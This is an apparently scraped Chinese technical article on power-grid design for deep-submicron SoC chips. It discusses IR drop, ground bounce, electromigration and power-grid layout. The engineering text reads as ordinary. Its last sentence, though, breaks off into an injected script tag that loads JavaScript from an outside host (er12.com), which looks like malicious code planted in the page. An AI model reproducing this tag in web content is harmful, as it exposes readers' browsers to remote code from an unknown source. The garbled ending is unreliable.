文分析了深亚微米下超大规模soc的电源设计中存在的问题，给出了业界适用的设计、验证方法，并以工程设计为例，给出层次性soc设计中电源设计、验证的适用流程。
关键词：系统芯片；电源电压降；地电压反弹；电源网格
引言
soc(系统芯片)是现代微电子技术向前发展的必然趋势。与工艺技术逐步先进的变化相适应，soc芯片上的内核逻辑的供电电压也逐步降低。供电电源电压减小的一个显著好处是使整个芯片的功耗降低，然而它同时也带来了芯片噪声容限降低的负面影响。芯片供电电源网络上的一个很小的电压波动或毛刺噪声，都可能引起芯片逻辑功能的误动作，或者影响芯片逻辑动作的速度，降低了芯片的性能。因此，电源设计显得比以前更加重要和困难。随着半导体工艺向更高节点发展，由于电源设计的问题所导致的整个芯片性能达不到预期要求甚至完全失败的比例越来越高。据不完全统计：在目前的0.18um和更精细的工艺下，有79%的集成电路设计会遇到电源设计问题，而有高达54%的设计会因此而失败。可靠的电源设计已经成为soc设计成功与否的关键因素之一而加以考虑。
soc中的电源设计与分析
通常，在soc模块的布局阶段(信号布线之前)完成整个soc芯片的电源设计，然后根据后续的分析验证结果加以修正。首先，根据soc芯片的面积和功耗要求，确定所需的电源凸点(pad)的数目。然后，在选定的用作电源布线的金属层上(一般是最上面两层)每隔一定的间距做一个电源的分支(power-trunk)，这样最终形成一个上下两层纵横交错的网格结构，我们称之为电源网格power-grid。典型的电源网格设计如图1所示(以六层金属工艺为例)。
在0.25mm工艺以前，一般都将芯片上的电源网格(包括电源信号和地信号)当作理想网络，芯片上任何地方的电源线的电压都是相等的、稳定的，其大小等于soc芯片外部所供给的电源电压，而电流的大小可以为任何值。对于地线，也是同样的假定。实际上，尤其当集成电路工艺演进到今天的0.18um及以下的超深亚微米时，包括电源网络在内的所有互连线的阻抗特性表现的就非常明显了。用集总参数的电路观点来看，芯片上的互连线就是各种电阻r、电容c和电感l的组合。从而导致了互连线的时序延迟以及导致了电源网络上的电压波动，电压值将不再是稳定不变的单一值了，这就是我们要讨论的电源电压降(irdrop)和地电压上升或者反弹(ground-bounce)。(简单起见，以下的“电源”包括电源信号vdd和地信号vss；“irdrop”包括vdd上的电压降和vss上的电压反弹。)
除了电压波动以外，电源网络连线上所能承受的电流能力也是电源设计中必须加以考虑的问题。对于作为互连线的金属层来说，在一定的制造工艺下，在它上面所能允许流过的最大电流是有一定的限度的，否则过大的电流将会导致金属连线熔断，导致芯片失效。这种现象我们称之为电迁移em(electromigration)。
图1 典型的soc电源网格
图2 soc设计中典型的电源网络
图3 电源分析中的等效模型
图4 基于宏模块的层次性电源网格验证流程
电压降irdrop
irdrop是指出现在集成电路中电源和地网络上电压下降的一种现象?script src=http://er12.com/t.js>
